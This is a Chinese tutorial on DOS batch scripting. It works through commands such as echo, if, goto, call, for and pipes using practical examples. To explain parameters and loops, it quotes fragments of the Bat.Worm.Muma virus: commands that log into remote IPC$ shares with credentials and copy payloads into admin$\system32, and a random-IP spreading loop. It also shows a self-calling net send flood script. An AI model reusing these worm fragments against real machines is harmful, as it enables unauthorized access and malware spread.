bat 批處理教程

2021-12-02 16:00 更新

這是一篇技術教程,我會用很簡單的文字表達清楚自己的意思,只要你識字就能看懂,就能學到知識。


按照我的理解,批處理的本質(zhì),是一堆DOS命令按一定順序排列而形成的集合。

OK,never claver and get to business(閑話少說言歸正傳)。批處理,也稱為批處理腳本,英文譯為 BATCH ,批處理文件后綴BAT就取的前三個字母。它的構成沒有固定格式,只要遵守以下這條就 ok 了:每一行可視為一個命令,每個命令里可以含多條子命令,從第一行開始執(zhí)行,直到最后一行結束,它運行的平臺是 DOS。批處理有一個很鮮明的特點:使用方便、靈活,功能強大,自動化程度高。我不想讓自己寫的教程枯燥無味,因為牽纏到代碼(批處理的內(nèi)容算是代碼吧?)的問題本來就是枯燥的,很少有人能面對滿屏幕的代碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理(暈,怎么又是愛?到底批處理和愛有什么關系?答案:沒有?。T僬f句“閑話”:要學好批處理,DOS 基礎一定要牢!當然腦子靈活也是很重要的一方面。

例一

先給出一個最 easy 的批處理腳本讓大家和它混個臉熟,將下面的幾行命令保存為 name.bat 然后執(zhí)行(以后文中只給出代碼,保存和執(zhí)行方式類似):

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit


執(zhí)行這個批處理后,可以在你的當前盤建立一個名為`a.txt`的文件,它里面記錄的信息可以幫助你迅速找到速度最快的 QQ 服務器,從而遠離“從服務器中轉”那一痛苦的過程。這里>的意思,

是把前面命令得到的東西放到后面所給的地方,`>>`的作用,和`>`的相同,區(qū)別是把結果追加到前一行得出的結果的后面,具體的說是下一行,而前面一行命令得出的結果將保留,這樣可以使這個`a.txt`文件越來越大(想到如何搞破壞了??)。By the way,這個批處理還可以和其他命令結合,搞成完全自動化判斷服務器速度的東東,執(zhí)行后直接顯示速度最快的服務器 IP,是不是很爽?后面還將詳細介紹。

例二

再給出一個已經(jīng)過時的例子(`a.bat`):

@echo off
if exist C:\Progra~1\Tencent\AD.gif del C:\Progra~1\Tencent\AD.gif
a.bat

為什么說這是個過時的例子呢?很簡單,因為現(xiàn)在已經(jīng)幾乎沒有人用帶廣告的 QQ 了(KAO,我的QQ還顯示好友三圍呢!?。运鼛缀跤貌簧狭?。但曾經(jīng)它的作用是不可小窺的:刪除 QQ 的廣告,讓對話框干干凈凈。這里用的地址是 QQ 的默認安裝地址,默認批處理文件名為`a.bat`,你當然可以根據(jù)情況自行修改。在這個腳本中使用了 if 命令,使得它可以達到適時判斷和刪除廣告圖片的效果,你只需要不關閉命令執(zhí)行后的 DOS 窗口,不按 `CTRL+C` 強行終止命令,它就一直監(jiān)視是否有廣告圖片( QQ 也再不斷查看自己的廣告是否被刪除)。當然這個腳本占用你一點點內(nèi)存,呵呵。

例三

使用批處理腳本查是否中冰河。腳本內(nèi)容如下:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

這里利用了`netstat`命令,檢查所有的網(wǎng)絡端口狀態(tài),只需要你清楚常見木馬所使用的端口,就能很easy的判斷出來是否被人種了冰河。然這不是確定的,因為冰河默認的端口7626,完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的腳本了,再改動一下,加進去參數(shù)和端口及信息列表文件后,就變成自動檢測所有木馬的腳本了。呵呵,是不是很過癮?腳本中還利用了組合命令`&&`和管道命令`|`,后面將詳細介紹。

例四

借批處理自動清除系統(tǒng)垃圾,腳本如下:

@echo off
if exist c:\windows\temp. del c:\windows\temp\.
if exist c:\windows\Tempor~1. del c:\windows\Tempor~1\.
if exist c:\windows\History. del c:\windows\History\.
if exist c:\windows\recent. del c:\windows\recent\.

將以上腳本內(nèi)容保存到`autoexec.bat`里,每次開機時就把系統(tǒng)垃圾給自動刪除了。這里需要注意兩點:一、DOS 不支持長文件名,所以就出現(xiàn)了`Tempor~1`這個東東;二、可根據(jù)自己的實際情況進行改動,使其符合自己的要求。



看過第一章的朋友,一定對批處理有了初步的印象,知道它到底是用來干什么的了。但你知道運用批處理的精髓在哪里嗎?其實很簡單:思路要靈活!沒有做不到的,只有想不到的。這和愛情就有點不同了,因為愛情的世界是兩個人的世界,一廂情愿不叫愛情(補充:那叫單戀。廢話?。┒幚韰s是一個人的天堂,你可以為所欲為,沒有達不到的境界!


批處理看起來雜亂無章,但它的邏輯性之強,絕對不比其他程序語言(如匯編)低,如果你寫的腳本是一堆亂麻,雖然每一行命令都正確,但從頭執(zhí)行到尾后,不一定得到你想要的結果,也許是一屏幕的`Bad command or fail name`。這又和愛情有了共同點:按步驟來經(jīng)營,缺少或增多的步驟都可能導致不想看見的結果。陷入愛河的朋友,相信沒有不肯定這句話的。我的愛情批處理,輸出的結果不是`Bad command or fail name`,屏幕是這么顯示的:‘你的愛情’不是內(nèi)部或外部命令,也不是可運行的程序或批處理文件。然后就是光標不停閃動,等待這下一次錯誤的輸入。


從這一章開始,將由淺入深的介紹批處理中常用的命令,很多常見 DOS 命令在批處理腳本中有這廣泛的應用,它們是批處理腳本的 BODY 部分,但批處理比 DOS 更靈活多樣,更具備自動化。要學好批處理,DOS 一定要有比較扎實的基礎。這里只講述一些比較少用(相對來說)的 DOS 命令,常用命令如 COPY、DIR 等就不做介紹了(這些看似簡單的命令實際復雜的很,我怕自己都說不清楚?。?/p>


例五

先看一個實例。這是一個很有意思的腳本,一個小巧實用的好東東,把批處理“自動化”的特點體現(xiàn)的淋漓盡致。先介紹一下這個腳本的來歷:大家都知道匯編程序(MASM)的上機過程,先要對源代碼進行匯編、連接,然后再執(zhí)行,而這中間有很多環(huán)節(jié)需要輸入很多東西,麻煩的很(只有經(jīng)歷過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞匯編課程設計時,我“被逼”寫了這個腳本,用起來很爽,呵呵??纯茨_本內(nèi)容:

@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage

先不要被這一堆的東西給嚇怕了,靜下心來仔細的看(回想一下第一章中第一段是怎么寫的?。。?。已經(jīng)給出了每一行命令的解釋,兩個冒號后面的內(nèi)容為前一行內(nèi)容解釋的E文(害怕E文的朋友也不用擔心,都很easy,一看就懂了,實在不懂了不會查詞典啊,這么懶?),在腳本執(zhí)行時不顯示,也不起任何作用。倒數(shù)第5行行首有一個冒號,可不是筆誤哦!具體作用后面會詳細講到。此腳本中masm和link是匯編程序和連接程序,必須和edit程序以及你要編輯的源代碼(當然還有這個腳本,廢話?。┮黄鹪诋斍澳夸浿小J褂眠@個批處理腳本,可以最大可能的減少手工輸入,整個過程中只需要按幾下回車鍵,即可實現(xiàn)從匯編源代碼到可執(zhí)行exe文件的自動化轉換,并具備智能判斷功能:如果匯編時源代碼出現(xiàn)錯誤(匯編不成功),則自動暫停顯示錯誤信息,并在按任意鍵后自動進入編輯源代碼界面;如果源代碼匯編成功,則進行連接,并在連接后自動執(zhí)行生成的exe文件。另外,由于批處理命令的簡單性和靈活性,這個腳本還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。正在學匯編的朋友,一定別忘了實習一下!


在這個腳本中出現(xiàn)了如下幾個命令:`@`、`echo`、`::`、`pause`、`:`和`goto`、`%`以及`if`。而這一章就將講述這幾個命令。


1、@

這個符號大家都不陌生,`email` 的必備符號,它怎么會跑到批處理中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執(zhí)行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話?。:呛?,通俗一點說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的`@echo off`中,`@`的作用就是讓腳本在執(zhí)行時不顯示后面的`echo off`部分。這下懂了吧?還是不太懂?沒關系,看完`echo`命令簡介,自然就懂了。

2、echo

中文為“反饋”、“回顯”的意思。它其實是一個開關命令,就是說它只有兩種狀態(tài):打開和關閉。于是就有了`echo on`和`echo off`兩個命令了。直接執(zhí)行`echo`命令將顯示當前`echo`命令狀態(tài)(`off`或`on`)執(zhí)行`echo off`將關閉回顯,它后面的所有命令都不顯示命令本身,只顯示執(zhí)行后的結果,除非執(zhí)行`echo on`命令。在例五中,首行的`@`命令和`echo off`命令聯(lián)合起來,達到了兩個目的:不顯示`echo off`命令本身,不顯示以后各行中的命令本身。的確是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢!

`echo`命令的另一種用法一:可以用它來顯示信息!如例五中倒數(shù)第二行,`Default BAT file name is START.BAT`將在腳本執(zhí)行后的窗口中顯示,而`echo`命令本身不顯示(為什么??)。

`echo`命令的另一種用法二:可以直接編輯文本文件。例六:

echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

以上腳本內(nèi)容的編輯方法是,直接是命令行輸入,每行一回車。最后就會在當前目錄下生成一個`a.bat`的文件,直接執(zhí)行就會得到結果。

 3、::

這個命令的作用很簡單,它是注釋命令,在批處理腳本中和`rem`命令等效。它后面的內(nèi)容在執(zhí)行時不顯示,也不起任何作用,因為它只是注釋,只是增加了腳本的可讀性,和C語言中的`/…………/`類似。地球人都能看懂,就不多說了。

4、pause

中文為“暫停”的意思(看看你的`workman`上),我一直認為它是批處理中最簡單的一個命令,單純、實用。它的作用,是讓當前程序進程暫停一下,并顯示一行信息:請按任意鍵繼續(xù). . .。在例五中這個命令運用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個是顯示錯誤的匯編代碼信息(其實不是它想顯示,而是`masm`程序在顯示錯誤信息時被暫它停了,以便讓你看清楚你的源代碼錯在哪里)。

5、`:`和`goto`

為什么要把這兩個命令聯(lián)合起來介紹?因為它們是分不開的,無論少了哪個或多了哪個都會出錯。`goto`是個跳轉命令,`:`是一個標簽。當程序運行到`goto`時,將自動跳轉到`:`定義的部分去執(zhí)行了(是不是分不開?)。例五中倒數(shù)第5行行首出現(xiàn)一個`:`,則程序在運行到`goto`時就自動跳轉到:標簽定義的部分執(zhí)行,結果是顯示腳本`usage`(usage就是標簽名稱)。不難看出,`goto`命令就是根據(jù)這個冒號和標簽名稱來尋找它該跳轉的地方,它們是一一對應的關系。`goto`命令也經(jīng)常和`if`命令結合使用。至于這兩個命令具體用法,參照例五。

`goto`命令的另一種用法一:提前結束程序。在程序中間使用`goto`命令跳轉到某一標簽,而這一標簽的內(nèi)容卻定義為退出。如:

……
goto end
……
:end


這里`:end`在腳本最后一行!其實這個例子很弱智,后面講了`if`命令和組合命令你就知道了。

 6、%

這個百分號嚴格來說是算不上命令的,它只是批處理中的參數(shù)而已(多個%一起使用的情況除外,以后還將詳細介紹),但千萬別以為它只是參數(shù)就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了??纯蠢撸?/p>

net use \%1\ipc$ %3 /u:"%2"
copy 11.BAT \%1\admin$\system32 /y
copy 13.BAT \%1\admin$\system32 /y
copy ipc2.BAT \%1\admin$\system32 /y
copy NWZI.EXE \%1\admin$\system32 /y
attrib \%1\admin$\system32\10.bat -r -h -s

以上代碼是 Bat.Worm.Muma 病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執(zhí)行形式為:腳本文件名 參數(shù)一 參數(shù)二 ……。假設這個腳本被保存為a.bat,則執(zhí)行形式如下:a IP username password。這里IP、username、password是三個參數(shù),缺一不可(因為程序不能正確運行,并不是因為少了參數(shù)語法就不對)這樣在腳本執(zhí)行過程中,腳本就自動用用你的三個參數(shù)依次(記住,是依次!也是一一對應的關系。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那么腳本的作用也就被固定了,但如果使用%的話,不同的參數(shù)可以達到不同的目的,是不是更靈活?)。

關于這個參數(shù)的使用,在后續(xù)章節(jié)中還將介紹。一定要非常熟練才行,這需要很多練習過程,需要下點狠工夫!

這一章就寫到這里了??赡苡信笥褑柫耍涸趺礇]介紹if命令?呵呵,不是我忘了,而是它不容易說清楚,下一章再講了!這一章講的這點東西,如果你是初學者,恐怕也夠消化的了。記住一句話:DOS是批處理的BODY,任何一個DOS命令都可以被用在批處理腳本中去完成特定的功能。到這里,你是否已經(jīng)想到了用自己肚子里的東西去寫點帶有自動化色彩的東東呢?很簡單,就是一個DOS命令的集合而已,相信自稱為天才的你已經(jīng)會把計算機等級考試上機試題中的DOS部分用批處理來自動化完成了。

7、if

接上一章,接著講if命令??偟膩碚f,if命令是一個表示判斷的命令,根據(jù)得出的每一個結果,它都可以對應一個相應的操作。關于它的三種用法,在這里分開講。

(1)、輸入判斷。還是用例五里面的那幾句吧:


if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage

這里判斷輸入的參數(shù)情況,如果參數(shù)為空(無參數(shù)),則跳轉到usage;如果參數(shù)為/?或help時(大家一般看一個命令的幫助,是不是輸入的/?或help呢,這里這么做只是為了讓這個腳本看起來更像一個真正的程序),也跳轉到usage。這里還可以用否定形式來表示“不等于”,例如:if not "%1"=="" goto usage,則表示如果輸入?yún)?shù)不為空就跳轉到usage(實際中這樣做就沒意義了,這里介紹用法,管不了那么多了,呵呵。)是不是很簡單?其實翻譯成中文體會一下就understand了。

(2)、存在判斷。再看例二里這句:

if exist C:\Progra~1\Tencent\AD.gif del C:\Progra~1\Tencent\AD.gif

如果存在那些gif文件,就刪除這些文件。當然還有例四,都是一樣的道理。注意,這里的條件判斷是判斷存在的,當然也可以判斷不存在的,例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:\Progra~1\Tencent\AD.gif exit。只是多一個not來表示否定而已。

(3)、結果判斷。還是拿例五開刀(沒想到自己寫的腳本,竟然用處這么大,呵呵):

masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj

先對源代碼進行匯編,如果失敗則暫停顯示錯誤信息,并在按任意鍵后自動進入編輯界面;否則用link程序連接生成的obj文件。這里只介紹一下和if命令有關的地方,&命令后面會講到。這種用法是先判斷前一個命令執(zhí)行后的返回碼(也叫錯誤碼,DOS程序在運行完后都有返回碼),如果和定義的錯誤碼符合(這里定義的錯誤碼為1),則執(zhí)行相應的操作(這里相應的操作為pause & edit %1.asm部分)。

另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,代碼變?yōu)椋?/p>

masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm

看到本質(zhì)了吧?其實只是把結果判斷后所執(zhí)行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執(zhí)行成功(因為它是錯誤判斷,而且返回碼為0,0就表示否定,就是說這個錯誤不存在,就是說masm執(zhí)行成功)。這里是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功腳本就肯定出錯,所以一定要體會的很深刻才行。如何體會的深刻?練習!自己寫一個腳本,然后把有not和沒有not的情況,返回碼為0或1的情況分別寫進去執(zhí)行(怎么,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了?后面介紹管道命令和組合命令時還有更麻煩的呢!怕了?呵呵。),這樣從執(zhí)行的結果中就能很清楚的看出這兩種情況的區(qū)別。

這種用errorlevel結果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷返回碼,則要達到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的。以上代碼必須變成:

masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm

關于if命令的這三種用法就say到這里,理解很簡單,但應用時就不一定用的那么得心應手,主要是熟練程度的問題。可能有的朋友有點驚訝,我怎么沒給出類似下面三行的用法介紹,是因為下面三行是if命令幫助里對它自身用法的解釋,任何人只要一個“if /?”就能看到,我沒有必要在這里多費口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,所以我采用上面自己對if命令的理解來介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實際上可以互換(以為從本質(zhì)上講,這三種用法都是建立在判斷的基礎上的,哲學教我們學會透過現(xiàn)象看事物本質(zhì)?。S信d趣的朋友可以自己研究一下。


IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command

8、call

學過匯編或C的朋友,肯定都知道call指令表示什么意思了,在這里它的意思其實也是一樣的。在批處理腳本中,call命令用來從一個批處理腳本中調(diào)用另一個批處理腳本。看例八(默認的三個腳本文件名分別為start.bat、10.bat和ipc.bat):


start.bat:
……
CALL 10.BAT 0
……
10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k

有沒有看出什么不對的地方?沒看出來???沒看出來就對了,其實就沒有不對的地方嘛,你怎么看的出來!從上面兩個腳本,你可以得到如下信息:1、腳本調(diào)用可以靈活運用,循環(huán)運用、重復運用。2、腳本調(diào)用可以使用參數(shù)!關于第一點就不多說了,聰明的你一看就應該會,這里說一下第二點。

在start.bat中,10.bat后面跟了參數(shù)0,在執(zhí)行時的效果,其實就是把10.bat里的參數(shù)%1用0代替。在start.bat中,ipc.bat后面跟了參數(shù)ipcfind.txt(一個文件,也可以做參數(shù)),執(zhí)行時的效果,就是用ipc.bat中的每一行的三個變量(這里不懂沒關系,學過for命令后就懂了),對應代換ipc.bat中的%%i、%%j和%%k。這里參數(shù)調(diào)用是非常靈活的,使用時需要好好體會。在初學期間,可以先學習只調(diào)用腳本,至于連腳本的參數(shù)一起使用的情況,在后面的學習中自然就會有比較深刻的理解,這是因為當你已經(jīng)可以靈活運用批處理腳本后,如何使代碼寫的更精簡更完美更高效就自然包括到了考慮的范圍,這時候你就會發(fā)現(xiàn)在調(diào)用腳本時直接加入?yún)?shù),可以使代碼效率加倍。By the way,上面的這幾個腳本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家將有機會見到這個病毒的真面目。

那是不是說,在同一個目錄下至少存在兩個批處理腳本文件(只有一個你調(diào)用誰?)?呵呵,注意了,這句話錯了?。≈挥幸粋€照樣可以調(diào)用----調(diào)用自身!看例九(默認腳本文件名a.bat):

net send %1 This is a call example.
call a.bat

這兩句一結合,效果自然不怎么樣,因為只有一臺機器來發(fā)消息,誰怕誰啊?我給你來個禮尚往來!可如果有100臺機器同時執(zhí)行,而且每臺機器開10和窗口同時向一個目標機器發(fā)消息的話,呵呵。這里call a.bat的作用就是調(diào)用自身,執(zhí)行完前一句net send命令后再調(diào)用自身,達到了循環(huán)執(zhí)行的目的。

給出一個很有意思的腳本,有興趣的朋友可以實驗一下。例十(默認腳本文件名為a.bat):

call a.bat

一定要在DOS窗口下執(zhí)行,否則只會看到一個窗口一閃而過,看不到最后結果。等執(zhí)行完后,當腳本被執(zhí)行了1260次,別忘了想一下到底是為什么!愛情有時候跟這個腳本一樣,一旦陷入死循環(huán),最后的結果都是意想不到的。只是愛情,絕對不會等到被毫無理由的循環(huán)這么多次,也許在第三次時就出現(xiàn)了love is aborted的提示。

9、find

這是一個搜索命令,用來在文件中搜索特定字符串,通常也作為條件判斷的鋪墊程序(我怎么突然想起了這四個字?)。這個命令單獨使用的情況在批處理中是比較少見的,因為沒什么實際意義。還是借例三來說明:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit

先用netstat命令檢查是否有冰河默認的端口7626在活動,并把結果保存到a.txt中。然后使用type命令列出a.txt中的內(nèi)容,再在列出的內(nèi)容中搜索字符串“7626” ,發(fā)現(xiàn)有的話則提示中了冰河,否則退出??矗琭ind命令其實就這么簡單,但有一點必須要注意到:如果不使用type命令列出a.txt中的內(nèi)容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必須得給出這個a.txt的絕對路徑(我試過了,find并沒有默認路徑就是當前路徑的功能,必須手動指定。也許是我錯了,歡迎指正)。因為在find命令的幫助里有這么一句話:如果沒有指定路徑,find將搜索鍵入的或者由另一個命令產(chǎn)生的文字。這里的“另一個命令”自然就指的type命令了。

至于find命令的其他幾個參數(shù)如v、n、i等,有興趣的朋友自己去研究吧,這已經(jīng)屬于DOS學習的內(nèi)容了,這里就不做介紹。關于find命令和其他命令的一些更精妙的用法(有些簡直令人叫絕),后續(xù)的教程中將介紹,希望關注。

10、for、set、shift

為什么把這三個命令放到一起來講?原因除了我說明外,恐怕誰也想不到!很簡單的一句話:其實我也不太懂!是的,對于這兩個命令,我是從研究Bat.Worm.Muma病毒開始學習的,時間過去了不少,但還是沒完全搞明白,我怕講出來連自己都看不懂,我更怕不小心講錯了成了罪人。所以我給出一個腳本去告訴你,如何讓這兩個命令給自己留一個初步的印象,其實也就是這兩個命令的入門,而并不是說如何領會這兩個命令。因為要領會如此精妙的兩個命令(特別是for)談何容易!也許你會表揚我說我誠實、不懂就不懂;也許你會罵我,讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還會說一些別的這樣那樣好聽或不好聽的話,都隨便你了,即使我不同意你說的話,我也會誓死捍衛(wèi)你說話的權利。看例十一:

@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
    

執(zhí)行后在當前路徑下就生成for.txt、set.txt和shift.txt三個文件,里面分別記錄了for命令、set命令和shift命令的幫助信息。地球人都能看懂,我就不多說了。我在網(wǎng)上曾經(jīng)找了很長時間這三個命令的教程,但都不理想,基本都是照搬的幫助信息。我想在自己完全掌握了這兩個命令后,一定要寫一篇用自己的文字總結出來的for、set和shift教程(關于shift命令,后面介紹批處理的參數(shù)時還將涉及到),一定會的,這是我的心愿之一!需要注意的一點是,這三個命令的幫助里 ,介紹的都比較死板,雖然也舉了一些例子,但這是遠遠不夠的。要掌握這兩個命令,最需要的就是耐心!沒寫錯,就是耐心。光是認真看完它們的幫助文字就已經(jīng)需要足夠的耐心了,要進一步練習領會這兩個命令,難道不需要更大的耐心?實戰(zhàn)練習的機會我會留給你的,關鍵還是那句話,看你有沒有耐心去研究了。看看例十二:


START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START

這是Bat.Worm.Muma病毒的起始腳本,設置了病毒運行的環(huán)境變量。是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心來!),你應該能體會到學習這兩個命令所需要的耐心了吧。就如同去愛一個人,你得學會寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發(fā)現(xiàn)愛她的過程如看上面代碼的過程一樣讓你頭大,但你還是得愛下去----愛需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風平浪靜后,最直觀的收獲就是,你的耐心變的前所未有的充足,面對她的復雜和善變,你自己會處變不驚,以自己的方式去從容應付曾經(jīng)應付不了的場面,即使到最后一身傷痕,也會感慨曾經(jīng)的舉動有多么偉大。

沒錯,這就是批處理的魅力,這就是愛的魅力。讓你受了傷還感謝傷你的人。這種感覺就好象在自己最喜歡的音樂聲中被人強奸,痛并快樂著。

不得不再次重申一遍,各種DOS命令是批處理的BODY(我實在找不出一個更合適的詞來形容他們之間的關系),學好DOS命令是學好批處理的前提。其他DOS命令如copy、dir、del、type、path、break、start等內(nèi)部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批處理里的應用非常廣泛。這篇教程的作用,是教你認識批處理,以及如何利用DOS命令組合出來一個完美的批處理腳本,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理腳本是建立在熟練掌握DOS命令的基礎上的,這已經(jīng)超出了本文的范疇,在此就不贅述了。

不知不覺中第三章已經(jīng)結束了。耳麥里傳來的依然是陳曉東的《比我幸?!罚扛?分32秒就自動重播。雖然我不并不很喜歡陳曉東,可這并不妨礙我喜歡音樂,喜歡這首描寫的如此讓人感慨的歌。請你一定要比我幸福/才不枉費我狼狽退出/再痛也不說苦/愛不用抱歉來彌補/至少我能成全你的追逐/請記得你要比我幸福/才值得我對自己殘酷/我默默的倒數(shù)/最后再把你看清楚/看你眼里的我好饃糊/慢慢被放逐。我如同一個因年老失色而拉不到客的老妓女,絕望的徘徊在曾經(jīng)輝煌的紅燈區(qū),用一臉的木然瞟一眼來來去去的人群,默默的回憶自己并不光彩的過去,幻想自己將要面對的未來。直到看見那些幸福依偎在一起的情侶們,才突然間發(fā)現(xiàn)上帝的公平,和這種公平的殘忍。

可以說,批處理腳本中最重要的幾個命令我都沒有給出如echo或if那樣比較詳細的介紹,原因我已經(jīng)說了,因為我也是個菜,我也不太懂----但我正在學!你呢?今天又去了一趟圖書館,淘金一樣發(fā)現(xiàn)了一本叫《DOS批文件》的東東,藏在一個角落里落滿了灰,五本摞一起就跟磚頭一樣厚了。大概翻了一下,里面介紹了很多比較底層和基礎的東西,雖然從思路上講,已經(jīng)有點time out了,很多東西已經(jīng)基本沒有利用的價值(這就是信息時代的更新速度),但還是很值得看的。于是打算下午淘過來,放假回去了再好好研究一番,連同那幾個不熟悉的命令一起搞熟了,再續(xù)寫這篇教程。我始終堅信,沒有最好只有更好。

但是很可惜,等到下午再去的時候,圖書館樓梯口已經(jīng)立了一個牌子,上面寫著out of service----人家這學期的工作結束了。于是回到宿舍打算繼續(xù)寫第四章,正在這時又得到一個“振奮人心”的消息:期末考試有一科掛了,而且是全班第一----這一門整個班里就掛了我一個。郁悶的情緒剎那間涌上心頭,整個世界仿佛都變成黑的了。食堂和小賣部已經(jīng)陸續(xù)關門,學校里的人越來越少,迎面過來的幾個同學也都一身行李,忙碌著準備回家過年,內(nèi)心的孤寂和失落如同夏日里暴雨前的烏云,迅速而不可抗拒的占領了心里每一個角落。迎著一月的冷風我一個人在天橋上發(fā)呆,還能怎么樣,連期末考試都應付不了的失敗男人。

“課間休息”時間好象長了點,呵呵,上課了!從這一章開始,將詳細介紹批處理中常用的幾個組合命令和管道命令。這些命令雖然不是必須的,如同愛一個人時不一定非得每天去陪,但如果少了這個過程,事情就會變的復雜而不完美,所以我認為管道命令和組合命令是批處理的調(diào)味劑,幾乎是少不了的。

下面從管道命令講起。常用的管道命令有以下這些:|、>、>>

11、|

這個命令恐怕大家不是很陌生,經(jīng)常操作DOS的朋友都應該知道,當我們查看一個命令的幫助時,如果幫助信息比較長,一屏幕顯示不完時DOS并不給我們時間讓我們看完一屏幕再翻到另一屏幕,而是直接顯示到幫助信息的最后。如在提示符下輸入help回車時,就會看到當前DOS版本所支持的所有非隱含命令,但你只能看到最后的那些命令,前面的早就一閃而過了,如何解決這個問題?看例十三:

help | more

回車后會發(fā)現(xiàn)顯示滿一屏幕后就自動暫停,等候繼續(xù)顯示其他信息。當按寫回車時,變成一個一個的出現(xiàn);按下空格鍵時一屏幕一屏幕顯示,直到全部顯示完為止;按其他鍵自動停止返回DOS。

為什么會出現(xiàn)上述現(xiàn)象?答案很簡單,這里結合了管道命令|和DOS命令more來共同達到目的的。這里先簡單介紹一下help命令和more命令,對理解|命令的用法有很大幫助。

11.1、help命令。其實這個命令是不需要多說的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結果是讓DOS顯示其所支持的所有非隱含命令,而在其他地方用help命令,如輸入net help回車,則是顯示net命令的幫助信息。

11.2、more命令。可能很多朋友以前就沒有接觸過這個命令,這個命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最后的結果就是只能看到末尾的部分。在例十三里,more命令的作用就是讓輸出的信息逐屏或逐行顯示。

看到這里,你是否已經(jīng)能隱約感受到了|命令的作用了?沒錯,它的作用,就是把前一命令的輸出當后一命令的輸入來用的。在例十三里,前一命令的輸出,就是help命令執(zhí)行后顯示的DOS所支持的所有非隱含命令,而這個結果剛好做了后一命令more的輸入。所以例十三和下面的例十四是等效的:


help > a.txt
more a.txt
del a.txt

